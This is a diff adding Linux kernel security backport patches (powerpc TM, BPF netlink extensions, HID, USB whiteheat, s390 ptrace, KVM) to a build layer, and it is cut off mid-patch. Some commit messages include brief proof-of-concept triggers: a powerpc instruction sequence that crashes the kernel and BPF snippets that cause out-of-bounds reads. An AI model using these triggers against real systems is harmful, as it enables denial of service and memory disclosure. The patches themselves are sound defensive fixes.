+R1 is from userspace, we trigger the bad kernel stack pointer detection. So we +end up with something like this: + + Bad kernel stack pointer 0 at c0000000000404fc + cpu 0x2: Vector: 700 (Program Check) at [c00000003ffefd40] + pc: c0000000000404fc: restore_gprs+0xc0/0x148 + lr: 0000000000000000 + sp: 0 + msr: 9000000100201030 + current = 0xc000001dd1417c30 + paca = 0xc00000000fe00800 softe: 0 irq_happened: 0x01 + pid = 0, comm = swapper/2 + WARNING: exception is not recoverable, can't continue + +The below fixes this by flushing the TM state before we copy the task_struct to +the clone. To do this we go through the tmreclaim patch, which removes the +checkpointed registers from the CPU and transitions the CPU out of TM suspend +mode. Hence we need to call tmrechkpt after to restore the checkpointed state +and the TM mode for the current task. + +To make this fail from userspace is simply: + tbegin + li r0, 2 + sc + + +Kudos to Adhemerval Zanella Neto for finding this. + +Signed-off-by: Michael Neuling +cc: Adhemerval Zanella Neto +Signed-off-by: Benjamin Herrenschmidt +[Backported to 3.10: context adjust] +Signed-off-by: Xue Liu +Signed-off-by: Greg Kroah-Hartman +--- + arch/powerpc/kernel/process.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/arch/powerpc/kernel/process.c b/arch/powerpc/kernel/process.c +index 1e1c995ddacc4..d55357ee90283 100644 +--- a/arch/powerpc/kernel/process.c ++++ b/arch/powerpc/kernel/process.c +@@ -948,6 +948,16 @@ int arch_dup_task_struct(struct task_struct *dst, struct task_struct *src) + flush_altivec_to_thread(src); + flush_vsx_to_thread(src); + flush_spe_to_thread(src); ++ /* ++ * Flush TM state out so we can copy it. __switch_to_tm() does this ++ * flush but it removes the checkpointed state from the current CPU and ++ * transitions the CPU out of TM mode. Hence we need to call ++ * tm_recheckpoint_new_task() (on the same task) to restore the ++ * checkpointed state back and the TM mode. ++ */ ++ __switch_to_tm(src); ++ tm_recheckpoint_new_task(src); ++ + *dst = *src; + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0050-314760e66c35-filter prevent nla extensions to peek beyond the end of the message.patch b/recipes-kernel/linux/linux-bass/autopatcher/0050-314760e66c35-filter prevent nla extensions to peek beyond the end of the message.patch new file mode 100644 index 0000000..8003a9d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0050-314760e66c35-filter prevent nla extensions to peek beyond the end of the message.patch @@ -0,0 +1,91 @@ +From 314760e66c35c8ffa51b4c4ca6948d207e783079 Mon Sep 17 00:00:00 2001 +From: Mathias Krause +Date: Sun, 13 Apr 2014 18:23:33 +0200 +Subject: filter: prevent nla extensions to peek beyond the end of the message + +[ Upstream commit 05ab8f2647e4221cbdb3856dd7d32bd5407316b3 ] + +The BPF_S_ANC_NLATTR and BPF_S_ANC_NLATTR_NEST extensions fail to check +for a minimal message length before testing the supplied offset to be +within the bounds of the message. This allows the subtraction of the nla +header to underflow and therefore -- as the data type is unsigned -- +allowing far to big offset and length values for the search of the +netlink attribute. + +The remainder calculation for the BPF_S_ANC_NLATTR_NEST extension is +also wrong. It has the minuend and subtrahend mixed up, therefore +calculates a huge length value, allowing to overrun the end of the +message while looking for the netlink attribute. + +The following three BPF snippets will trigger the bugs when attached to +a UNIX datagram socket and parsing a message with length 1, 2 or 3. + + ,-[ PoC for missing size check in BPF_S_ANC_NLATTR ]-- + | ld #0x87654321 + | ldx #42 + | ld #nla + | ret a + `--- + + ,-[ PoC for the same bug in BPF_S_ANC_NLATTR_NEST ]-- + | ld #0x87654321 + | ldx #42 + | ld #nlan + | ret a + `--- + + ,-[ PoC for wrong remainder calculation in BPF_S_ANC_NLATTR_NEST ]-- + | ; (needs a fake netlink header at offset 0) + | ld #0 + | ldx #42 + | ld #nlan + | ret a + `--- + +Fix the first issue by ensuring the message length fulfills the minimal +size constrains of a nla header. Fix the second bug by getting the math +for the remainder calculation right. + +Fixes: 4738c1db15 ("[SKFILTER]: Add SKF_ADF_NLATTR instruction") +Fixes: d214c7537b ("filter: add SKF_AD_NLATTR_NEST to look for nested..") +Cc: Patrick McHardy +Cc: Pablo Neira Ayuso +Signed-off-by: Mathias Krause +Acked-by: Daniel Borkmann +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/core/filter.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/net/core/filter.c b/net/core/filter.c +index 52f01229ee018..c6c18d8a2d886 100644 +--- a/net/core/filter.c ++++ b/net/core/filter.c +@@ -355,6 +355,8 @@ load_b: + + if (skb_is_nonlinear(skb)) + return 0; ++ if (skb->len < sizeof(struct nlattr)) ++ return 0; + if (A > skb->len - sizeof(struct nlattr)) + return 0; + +@@ -371,11 +373,13 @@ load_b: + + if (skb_is_nonlinear(skb)) + return 0; ++ if (skb->len < sizeof(struct nlattr)) ++ return 0; + if (A > skb->len - sizeof(struct nlattr)) + return 0; + + nla = (struct nlattr *)&skb->data[A]; +- if (nla->nla_len > A - skb->len) ++ if (nla->nla_len > skb->len - A) + return 0; + + nla = nla_find_nested(nla, X); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0051-11677bd1cc85-HID magicmouse sanity check report size in rawevent callback.patch b/recipes-kernel/linux/linux-bass/autopatcher/0051-11677bd1cc85-HID magicmouse sanity check report size in rawevent callback.patch new file mode 100644 index 0000000..641e920 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0051-11677bd1cc85-HID magicmouse sanity check report size in rawevent callback.patch @@ -0,0 +1,49 @@ +From 11677bd1cc851c9dda154095f62d93b2c34afc9c Mon Sep 17 00:00:00 2001 +From: Jiri Kosina +Date: Wed, 27 Aug 2014 09:12:24 +0200 +Subject: HID: magicmouse: sanity check report size in raw_event() callback + +commit c54def7bd64d7c0b6993336abcffb8444795bf38 upstream. + +The report passed to us from transport driver could potentially be +arbitrarily large, therefore we better sanity-check it so that +magicmouse_emit_touch() gets only valid values of raw_id. + +Reported-by: Steven Vittitoe +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-magicmouse.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/drivers/hid/hid-magicmouse.c b/drivers/hid/hid-magicmouse.c +index 5bc37343eb22b..c24f3dfd9367e 100644 +--- a/drivers/hid/hid-magicmouse.c ++++ b/drivers/hid/hid-magicmouse.c +@@ -290,6 +290,11 @@ static int magicmouse_raw_event(struct hid_device *hdev, + if (size < 4 || ((size - 4) % 9) != 0) + return 0; + npoints = (size - 4) / 9; ++ if (npoints > 15) { ++ hid_warn(hdev, "invalid size value (%d) for TRACKPAD_REPORT_ID\n", ++ size); ++ return 0; ++ } + msc->ntouches = 0; + for (ii = 0; ii < npoints; ii++) + magicmouse_emit_touch(msc, ii, data + ii * 9 + 4); +@@ -307,6 +312,11 @@ static int magicmouse_raw_event(struct hid_device *hdev, + if (size < 6 || ((size - 6) % 8) != 0) + return 0; + npoints = (size - 6) / 8; ++ if (npoints > 15) { ++ hid_warn(hdev, "invalid size value (%d) for MOUSE_REPORT_ID\n", ++ size); ++ return 0; ++ } + msc->ntouches = 0; + for (ii = 0; ii < npoints; ii++) + magicmouse_emit_touch(msc, ii, data + ii * 8 + 6); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0052-4292001d4de0-HID logitech perform bounds checking on deviceid early enough.patch b/recipes-kernel/linux/linux-bass/autopatcher/0052-4292001d4de0-HID logitech perform bounds checking on deviceid early enough.patch new file mode 100644 index 0000000..1dc64b8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0052-4292001d4de0-HID logitech perform bounds checking on deviceid early enough.patch @@ -0,0 +1,62 @@ +From 4292001d4de0681e2f1eb59d13511012369324e0 Mon Sep 17 00:00:00 2001 +From: Jiri Kosina +Date: Thu, 21 Aug 2014 09:57:17 -0500 +Subject: HID: logitech: perform bounds checking on device_id early enough + +commit ad3e14d7c5268c2e24477c6ef54bbdf88add5d36 upstream. + +device_index is a char type and the size of paired_dj_deivces is 7 +elements, therefore proper bounds checking has to be applied to +device_index before it is used. + +We are currently performing the bounds checking in +logi_dj_recv_add_djhid_device(), which is too late, as malicious device +could send REPORT_TYPE_NOTIF_DEVICE_UNPAIRED early enough and trigger the +problem in one of the report forwarding functions called from +logi_dj_raw_event(). + +Fix this by performing the check at the earliest possible ocasion in +logi_dj_raw_event(). + +Reported-by: Ben Hawkes +Reviewed-by: Benjamin Tissoires +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-logitech-dj.c | 13 ++++++------- + 1 file changed, 6 insertions(+), 7 deletions(-) + +diff --git a/drivers/hid/hid-logitech-dj.c b/drivers/hid/hid-logitech-dj.c +index 1be9156a39505..51b1a5088c0d0 100644 +--- a/drivers/hid/hid-logitech-dj.c ++++ b/drivers/hid/hid-logitech-dj.c +@@ -237,13 +237,6 @@ static void logi_dj_recv_add_djhid_device(struct dj_receiver_dev *djrcv_dev, + return; + } + +- if ((dj_report->device_index < DJ_DEVICE_INDEX_MIN) || +- (dj_report->device_index > DJ_DEVICE_INDEX_MAX)) { +- dev_err(&djrcv_hdev->dev, "%s: invalid device index:%d\n", +- __func__, dj_report->device_index); +- return; +- } +- + if (djrcv_dev->paired_dj_devices[dj_report->device_index]) { + /* The device is already known. No need to reallocate it. */ + dbg_hid("%s: device is already known\n", __func__); +@@ -713,6 +706,12 @@ static int logi_dj_raw_event(struct hid_device *hdev, + * device (via hid_input_report() ) and return 1 so hid-core does not do + * anything else with it. + */ ++ if ((dj_report->device_index < DJ_DEVICE_INDEX_MIN) || ++ (dj_report->device_index > DJ_DEVICE_INDEX_MAX)) { ++ dev_err(&hdev->dev, "%s: invalid device index:%d\n", ++ __func__, dj_report->device_index); ++ return false; ++ } + + spin_lock_irqsave(&djrcv_dev->lock, flags); + if (dj_report->report_id == REPORT_ID_DJ_SHORT) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0053-d0e6e29e2c98-USB whiteheat Added bounds checking for bulk command response.patch b/recipes-kernel/linux/linux-bass/autopatcher/0053-d0e6e29e2c98-USB whiteheat Added bounds checking for bulk command response.patch new file mode 100644 index 0000000..680a214 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0053-d0e6e29e2c98-USB whiteheat Added bounds checking for bulk command response.patch @@ -0,0 +1,47 @@ +From d0e6e29e2c9820d39b83fa275bf68c7c8bc7935e Mon Sep 17 00:00:00 2001 +From: James Forshaw +Date: Sat, 23 Aug 2014 14:39:48 -0700 +Subject: USB: whiteheat: Added bounds checking for bulk command response + +commit 6817ae225cd650fb1c3295d769298c38b1eba818 upstream. + +This patch fixes a potential security issue in the whiteheat USB driver +which might allow a local attacker to cause kernel memory corrpution. This +is due to an unchecked memcpy into a fixed size buffer (of 64 bytes). On +EHCI and XHCI busses it's possible to craft responses greater than 64 +bytes leading a buffer overflow. + +Signed-off-by: James Forshaw +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/whiteheat.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/whiteheat.c b/drivers/usb/serial/whiteheat.c +index 347caad47a121..5e3dd9f87ff5b 100644 +--- a/drivers/usb/serial/whiteheat.c ++++ b/drivers/usb/serial/whiteheat.c +@@ -521,6 +521,10 @@ static void command_port_read_callback(struct urb *urb) + dev_dbg(&urb->dev->dev, "%s - command_info is NULL, exiting.\n", __func__); + return; + } ++ if (!urb->actual_length) { ++ dev_dbg(&urb->dev->dev, "%s - empty response, exiting.\n", __func__); ++ return; ++ } + if (status) { + dev_dbg(&urb->dev->dev, "%s - nonzero urb status: %d\n", __func__, status); + if (status != -ENOENT) +@@ -541,7 +545,8 @@ static void command_port_read_callback(struct urb *urb) + /* These are unsolicited reports from the firmware, hence no + waiting command to wakeup */ + dev_dbg(&urb->dev->dev, "%s - event received\n", __func__); +- } else if (data[0] == WHITEHEAT_GET_DTR_RTS) { ++ } else if ((data[0] == WHITEHEAT_GET_DTR_RTS) && ++ (urb->actual_length - 1 <= sizeof(command_info->result_buffer))) { + memcpy(command_info->result_buffer, &data[1], + urb->actual_length - 1); + command_info->command_finished = WHITEHEAT_CMD_COMPLETE; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0054-0c9fdd4c5af2-HID fix a couple of offbyones.patch b/recipes-kernel/linux/linux-bass/autopatcher/0054-0c9fdd4c5af2-HID fix a couple of offbyones.patch new file mode 100644 index 0000000..be926f4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0054-0c9fdd4c5af2-HID fix a couple of offbyones.patch @@ -0,0 +1,112 @@ +From 0c9fdd4c5af24ea49424903296cb1f7420505e9e Mon Sep 17 00:00:00 2001 +From: Jiri Kosina +Date: Thu, 21 Aug 2014 09:57:48 -0500 +Subject: HID: fix a couple of off-by-ones + +commit 4ab25786c87eb20857bbb715c3ae34ec8fd6a214 upstream. + +There are a few very theoretical off-by-one bugs in report descriptor size +checking when performing a pre-parsing fixup. Fix those. + +Reported-by: Ben Hawkes +Reviewed-by: Benjamin Tissoires +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-cherry.c | 2 +- + drivers/hid/hid-kye.c | 2 +- + drivers/hid/hid-lg.c | 4 ++-- + drivers/hid/hid-monterey.c | 2 +- + drivers/hid/hid-petalynx.c | 2 +- + drivers/hid/hid-sunplus.c | 2 +- + 6 files changed, 7 insertions(+), 7 deletions(-) + +diff --git a/drivers/hid/hid-cherry.c b/drivers/hid/hid-cherry.c +index 1bdcccc54a1dd..f745d2c1325ec 100644 +--- a/drivers/hid/hid-cherry.c ++++ b/drivers/hid/hid-cherry.c +@@ -28,7 +28,7 @@ + static __u8 *ch_report_fixup(struct hid_device *hdev, __u8 *rdesc, + unsigned int *rsize) + { +- if (*rsize >= 17 && rdesc[11] == 0x3c && rdesc[12] == 0x02) { ++ if (*rsize >= 18 && rdesc[11] == 0x3c && rdesc[12] == 0x02) { + hid_info(hdev, "fixing up Cherry Cymotion report descriptor\n"); + rdesc[11] = rdesc[16] = 0xff; + rdesc[12] = rdesc[17] = 0x03; +diff --git a/drivers/hid/hid-kye.c b/drivers/hid/hid-kye.c +index 6af90dbdc3d45..843f2dd55200a 100644 +--- a/drivers/hid/hid-kye.c ++++ b/drivers/hid/hid-kye.c +@@ -280,7 +280,7 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc, + * - change the button usage range to 4-7 for the extra + * buttons + */ +- if (*rsize >= 74 && ++ if (*rsize >= 75 && + rdesc[61] == 0x05 && rdesc[62] == 0x08 && + rdesc[63] == 0x19 && rdesc[64] == 0x08 && + rdesc[65] == 0x29 && rdesc[66] == 0x0f && +diff --git a/drivers/hid/hid-lg.c b/drivers/hid/hid-lg.c +index 06eb45fa6331f..12fc48c968e69 100644 +--- a/drivers/hid/hid-lg.c ++++ b/drivers/hid/hid-lg.c +@@ -345,14 +345,14 @@ static __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc, + struct usb_device_descriptor *udesc; + __u16 bcdDevice, rev_maj, rev_min; + +- if ((drv_data->quirks & LG_RDESC) && *rsize >= 90 && rdesc[83] == 0x26 && ++ if ((drv_data->quirks & LG_RDESC) && *rsize >= 91 && rdesc[83] == 0x26 && + rdesc[84] == 0x8c && rdesc[85] == 0x02) { + hid_info(hdev, + "fixing up Logitech keyboard report descriptor\n"); + rdesc[84] = rdesc[89] = 0x4d; + rdesc[85] = rdesc[90] = 0x10; + } +- if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 50 && ++ if ((drv_data->quirks & LG_RDESC_REL_ABS) && *rsize >= 51 && + rdesc[32] == 0x81 && rdesc[33] == 0x06 && + rdesc[49] == 0x81 && rdesc[50] == 0x06) { + hid_info(hdev, +diff --git a/drivers/hid/hid-monterey.c b/drivers/hid/hid-monterey.c +index 9e14c00eb1b6b..25daf28b26bdf 100644 +--- a/drivers/hid/hid-monterey.c ++++ b/drivers/hid/hid-monterey.c +@@ -24,7 +24,7 @@ + static __u8 *mr_report_fixup(struct hid_device *hdev, __u8 *rdesc, + unsigned int *rsize) + { +- if (*rsize >= 30 && rdesc[29] == 0x05 && rdesc[30] == 0x09) { ++ if (*rsize >= 31 && rdesc[29] == 0x05 && rdesc[30] == 0x09) { + hid_info(hdev, "fixing up button/consumer in HID report descriptor\n"); + rdesc[30] = 0x0c; + } +diff --git a/drivers/hid/hid-petalynx.c b/drivers/hid/hid-petalynx.c +index 736b2502df4f8..6aca4f2554bf4 100644 +--- a/drivers/hid/hid-petalynx.c ++++ b/drivers/hid/hid-petalynx.c +@@ -25,7 +25,7 @@ + static __u8 *pl_report_fixup(struct hid_device *hdev, __u8 *rdesc, + unsigned int *rsize) + { +- if (*rsize >= 60 && rdesc[39] == 0x2a && rdesc[40] == 0xf5 && ++ if (*rsize >= 62 && rdesc[39] == 0x2a && rdesc[40] == 0xf5 && + rdesc[41] == 0x00 && rdesc[59] == 0x26 && + rdesc[60] == 0xf9 && rdesc[61] == 0x00) { + hid_info(hdev, "fixing up Petalynx Maxter Remote report descriptor\n"); +diff --git a/drivers/hid/hid-sunplus.c b/drivers/hid/hid-sunplus.c +index 87fc91e1c8de4..91072fa54663e 100644 +--- a/drivers/hid/hid-sunplus.c ++++ b/drivers/hid/hid-sunplus.c +@@ -24,7 +24,7 @@ + static __u8 *sp_report_fixup(struct hid_device *hdev, __u8 *rdesc, + unsigned int *rsize) + { +- if (*rsize >= 107 && rdesc[104] == 0x26 && rdesc[105] == 0x80 && ++ if (*rsize >= 112 && rdesc[104] == 0x26 && rdesc[105] == 0x80 && + rdesc[106] == 0x03) { + hid_info(hdev, "fixing up Sunplus Wireless Desktop report descriptor\n"); + rdesc[105] = rdesc[110] = 0x03; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0055-8ee6be5563a5-HID picolcd sanity check report size in rawevent callback.patch b/recipes-kernel/linux/linux-bass/autopatcher/0055-8ee6be5563a5-HID picolcd sanity check report size in rawevent callback.patch new file mode 100644 index 0000000..225b76a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0055-8ee6be5563a5-HID picolcd sanity check report size in rawevent callback.patch @@ -0,0 +1,39 @@ +From 8ee6be5563a5bdb9a5df5f88f8bbbab8930fe6da Mon Sep 17 00:00:00 2001 +From: Jiri Kosina +Date: Wed, 27 Aug 2014 09:13:15 +0200 +Subject: HID: picolcd: sanity check report size in raw_event() callback + +commit 844817e47eef14141cf59b8d5ac08dd11c0a9189 upstream. + +The report passed to us from transport driver could potentially be +arbitrarily large, therefore we better sanity-check it so that raw_data +that we hold in picolcd_pending structure are always kept within proper +bounds. + +Reported-by: Steven Vittitoe +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-picolcd_core.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/hid/hid-picolcd_core.c b/drivers/hid/hid-picolcd_core.c +index acbb021065ece..020df3c2e8b42 100644 +--- a/drivers/hid/hid-picolcd_core.c ++++ b/drivers/hid/hid-picolcd_core.c +@@ -350,6 +350,12 @@ static int picolcd_raw_event(struct hid_device *hdev, + if (!data) + return 1; + ++ if (size > 64) { ++ hid_warn(hdev, "invalid size value (%d) for picolcd raw event\n", ++ size); ++ return 0; ++ } ++ + if (report->id == REPORT_KEY_STATE) { + if (data->input_keys) + ret = picolcd_raw_keypad(data, report, raw_data+1, size-1); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0056-a940d7b23bc0-s390ptrace fix PSW mask check.patch b/recipes-kernel/linux/linux-bass/autopatcher/0056-a940d7b23bc0-s390ptrace fix PSW mask check.patch new file mode 100644 index 0000000..948418d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0056-a940d7b23bc0-s390ptrace fix PSW mask check.patch @@ -0,0 +1,52 @@ +From a940d7b23bc073c774f3733c79f82102ffccff4e Mon Sep 17 00:00:00 2001 +From: Martin Schwidefsky +Date: Mon, 23 Jun 2014 15:29:40 +0200 +Subject: s390/ptrace: fix PSW mask check + +commit dab6cf55f81a6e16b8147aed9a843e1691dcd318 upstream. + +The PSW mask check of the PTRACE_POKEUSR_AREA command is incorrect. +The PSW_MASK_USER define contains the PSW_MASK_ASC bits, the ptrace +interface accepts all combinations for the address-space-control +bits. To protect the kernel space the PSW mask check in ptrace needs +to reject the address-space-control bit combination for home space. + +Fixes CVE-2014-3534 + +Signed-off-by: Martin Schwidefsky +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + arch/s390/kernel/ptrace.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c +index a314c57f4e94a..9677d935583ca 100644 +--- a/arch/s390/kernel/ptrace.c ++++ b/arch/s390/kernel/ptrace.c +@@ -314,7 +314,9 @@ static int __poke_user(struct task_struct *child, addr_t addr, addr_t data) + * psw and gprs are stored on the stack + */ + if (addr == (addr_t) &dummy->regs.psw.mask && +- ((data & ~PSW_MASK_USER) != psw_user_bits || ++ (((data^psw_user_bits) & ~PSW_MASK_USER) || ++ (((data^psw_user_bits) & PSW_MASK_ASC) && ++ ((data|psw_user_bits) & PSW_MASK_ASC) == PSW_MASK_ASC) || + ((data & PSW_MASK_EA) && !(data & PSW_MASK_BA)))) + /* Invalid psw mask. */ + return -EINVAL; +@@ -627,7 +629,10 @@ static int __poke_user_compat(struct task_struct *child, + */ + if (addr == (addr_t) &dummy32->regs.psw.mask) { + /* Build a 64 bit psw mask from 31 bit mask. */ +- if ((tmp & ~PSW32_MASK_USER) != psw32_user_bits) ++ if (((tmp^psw32_user_bits) & ~PSW32_MASK_USER) || ++ (((tmp^psw32_user_bits) & PSW32_MASK_ASC) && ++ ((tmp|psw32_user_bits) & PSW32_MASK_ASC) ++ == PSW32_MASK_ASC)) + /* Invalid psw mask. */ + return -EINVAL; + regs->psw.mask = (regs->psw.mask & ~PSW_MASK_USER) | +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0057-6e0db2f1e545-kvm iommu fix the third parameter of kvmiommuputpages.patch b/recipes-kernel/linux/linux-bass/autopatcher/0057-6e0db2f1e545-kvm iommu fix the third parameter of kvmiommuputpages.patch new file mode 100644 index 0000000..61cd61f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0057-6e0db2f1e545-kvm iommu fix the third parameter of kvmiommuputpages.patch @@ -0,0 +1,91 @@ +From 6e0db2f1e545f8848220e8692e4d3485c845c9cb Mon Sep 17 00:00:00 2001 +From: "Michael S. Tsirkin" +Date: Tue, 19 Aug 2014 19:14:50 +0800 +Subject: kvm: iommu: fix the third parameter of kvm_iommu_put_pages + (CVE-2014-3601) + +commit 350b8bdd689cd2ab2c67c8a86a0be86cfa0751a7 upstream. + +The third parameter of kvm_iommu_put_pages is wrong, +It should be 'gfn - slot->base_gfn'. + +By making gfn very large, malicious guest or userspace can cause kvm to +go to this error path, and subsequently to pass a huge value as size. +Alternatively if gfn is small, then pages would be pinned but never +unpinned, causing host memory leak and local DOS. + +Passing a reasonable but large value could be the most dangerous case, +because it would unpin a page that should have stayed pinned, and thus +allow the device to DMA into arbitrary memory. However, this cannot +happen because of the condition that can trigger the error: + +- out of memory (where you can't allocate even a single page) + should not be possible for the attacker to trigger + +- when exceeding the iommu's address space, guest pages after gfn + will also exceed the iommu's address space, and inside + kvm_iommu_put_pages() the iommu_iova_to_phys() will fail. The + page thus would not be unpinned at all. + +Reported-by: Jack Morgenstein +Signed-off-by: Michael S. Tsirkin +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + virt/kvm/iommu.c | 19 ++++++++++--------- + 1 file changed, 10 insertions(+), 9 deletions(-) + +diff --git a/virt/kvm/iommu.c b/virt/kvm/iommu.c +index c329c8fc57f45..dec997188dfb9 100644 +--- a/virt/kvm/iommu.c ++++ b/virt/kvm/iommu.c +@@ -61,6 +61,14 @@ static pfn_t kvm_pin_pages(struct kvm_memory_slot *slot, gfn_t gfn, + return pfn; + } + ++static void kvm_unpin_pages(struct kvm *kvm, pfn_t pfn, unsigned long npages) ++{ ++ unsigned long i; ++ ++ for (i = 0; i < npages; ++i) ++ kvm_release_pfn_clean(pfn + i); ++} ++ + int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) + { + gfn_t gfn, end_gfn; +@@ -123,6 +131,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) + if (r) { + printk(KERN_ERR "kvm_iommu_map_address:" + "iommu failed to map pfn=%llx\n", pfn); ++ kvm_unpin_pages(kvm, pfn, page_size); + goto unmap_pages; + } + +@@ -134,7 +143,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) + return 0; + + unmap_pages: +- kvm_iommu_put_pages(kvm, slot->base_gfn, gfn); ++ kvm_iommu_put_pages(kvm, slot->base_gfn, gfn - slot->base_gfn); + return r; + } + +@@ -272,14 +281,6 @@ out_unlock: + return r; + } + +-static void kvm_unpin_pages(struct kvm *kvm, pfn_t pfn, unsigned long npages) +-{ +- unsigned long i; +- +- for (i = 0; i < npages; ++i) +- kvm_release_pfn_clean(pfn + i); +-} +- + static void kvm_iommu_put_pages(struct kvm *kvm, + gfn_t base_gfn, unsigned long npages) + { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0058-ea30614738b5-KVM x86 Check noncanonical addresses upon WRMSR.patch b/recipes-kernel/linux/linux-bass/autopatcher/0058-ea30614738b5-KVM x86 Check noncanonical addresses upon WRMSR.patch new file mode 100644 index 0000000..b1cdeec --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0058-ea30614738b5-KVM x86 Check noncanonical addresses upon WRMSR.patch @@ -0,0 +1,148 @@ +From ea30614738b5faf98a1a695f78ce11447d4eb072 Mon Sep 17 00:00:00 2001 +From: Nadav Amit +Date: Tue, 16 Sep 2014 03:24:05 +0300 +Subject: KVM: x86: Check non-canonical addresses upon WRMSR + +commit 854e8bb1aa06c578c2c9145fa6bfe3680ef63b23 upstream. + +Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is +written to certain MSRs. The behavior is "almost" identical for AMD and Intel +(ignoring MSRs that are not implemented in either architecture since they would +anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if +non-canonical address is written on Intel but not on AMD (which ignores the top +32-bits). + +Accordingly, this patch injects a #GP on the MSRs which behave identically on +Intel and AMD. To eliminate the differences between the architecutres, the +value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to +canonical value before writing instead of injecting a #GP. + +Some references from Intel and AMD manuals: + +According to Intel SDM description of WRMSR instruction #GP is expected on +WRMSR "If the source register contains a non-canonical address and ECX +specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE, +IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP." + +According to AMD manual instruction manual: +LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the +LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical +form, a general-protection exception (#GP) occurs." +IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the +base field must be in canonical form or a #GP fault will occur." +IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must +be in canonical form." + +This patch fixes CVE-2014-3610. + +Signed-off-by: Nadav Amit +Signed-off-by: Paolo Bonzini +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/asm/kvm_host.h | 14 ++++++++++++++ + arch/x86/kvm/svm.c | 2 +- + arch/x86/kvm/vmx.c | 2 +- + arch/x86/kvm/x86.c | 27 ++++++++++++++++++++++++++- + 4 files changed, 42 insertions(+), 3 deletions(-) + +diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h +index 0312876eadb3c..4c481e751e8e2 100644 +--- a/arch/x86/include/asm/kvm_host.h ++++ b/arch/x86/include/asm/kvm_host.h +@@ -953,6 +953,20 @@ static inline void kvm_inject_gp(struct kvm_vcpu *vcpu, u32 error_code) + kvm_queue_exception_e(vcpu, GP_VECTOR, error_code); + } + ++static inline u64 get_canonical(u64 la) ++{ ++ return ((int64_t)la << 16) >> 16; ++} ++ ++static inline bool is_noncanonical_address(u64 la) ++{ ++#ifdef CONFIG_X86_64 ++ return get_canonical(la) != la; ++#else ++ return false; ++#endif ++} ++ + #define TSS_IOPB_BASE_OFFSET 0x66 + #define TSS_BASE_SIZE 0x68 + #define TSS_IOPB_SIZE (65536 / 8) +diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c +index 765210d4d925f..f8ada78674438 100644 +--- a/arch/x86/kvm/svm.c ++++ b/arch/x86/kvm/svm.c +@@ -3196,7 +3196,7 @@ static int wrmsr_interception(struct vcpu_svm *svm) + msr.host_initiated = false; + + svm->next_rip = kvm_rip_read(&svm->vcpu) + 2; +- if (svm_set_msr(&svm->vcpu, &msr)) { ++ if (kvm_set_msr(&svm->vcpu, &msr)) { + trace_kvm_msr_write_ex(ecx, data); + kvm_inject_gp(&svm->vcpu, 0); + } else { +diff --git a/arch/x86/kvm/vmx.c 